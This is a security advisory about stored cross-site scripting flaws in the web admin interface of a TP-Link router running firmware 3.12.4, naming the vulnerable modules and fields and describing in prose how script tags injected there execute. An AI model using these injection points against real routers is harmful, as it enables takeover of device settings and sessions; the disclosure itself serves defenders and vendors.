Details:
|
|
========
|
|
Multiple persistent web vulnerabilities is detected in TP Link Gateway v3.12.4 Router Application.
|
|
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
|
Successful exploitation of the vulnerability can lead to stable (persistent) context manipulation. Exploitation
|
|
requires high user inter action & a low privileged user account.
|
|
|
|
The persistent vulnerabilities are located in the add function of multiple main modules like access control
|
|
and the wireless mac filter. The main problem is the validation of the add module - rule name, host description,
|
|
target description & mac filter description. The bug affects the later listings were the persistent code get executed
|
|
out of the application context.
|
|
|
|
Vulnerable Module(s):
|
|
[+] Access Control -> Rule -> Add new
|
|
[+] Access Control -> Host -> Add Host
|
|
[+] Access Control -> Target -> Add new
|
|
[+] Wireless -> Wireless MAC Filtering -> Add new
|
|
|
|
Vulnerable Paramater(s):
|
|
[+] [Rule Name]
|
|
[+] [Target Description]
|
|
[+] [Host Description]
|
|
[+] [Description]
|
|
|
|
Vulnerable Version(s):
|
|
[+] Firmware Version: 3.12.4 Build 100910 Rel.57694n
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged
|
|
user account & required user inter action. For demonstration or reproduce ...
|
|
|
|
To reproduce the vulnerability or inject malicious script code you only need to change the
|
|
standard input field content to the your own script code tags with html or javascript.
|
|
The persistent script code get executed out of the listing application context.
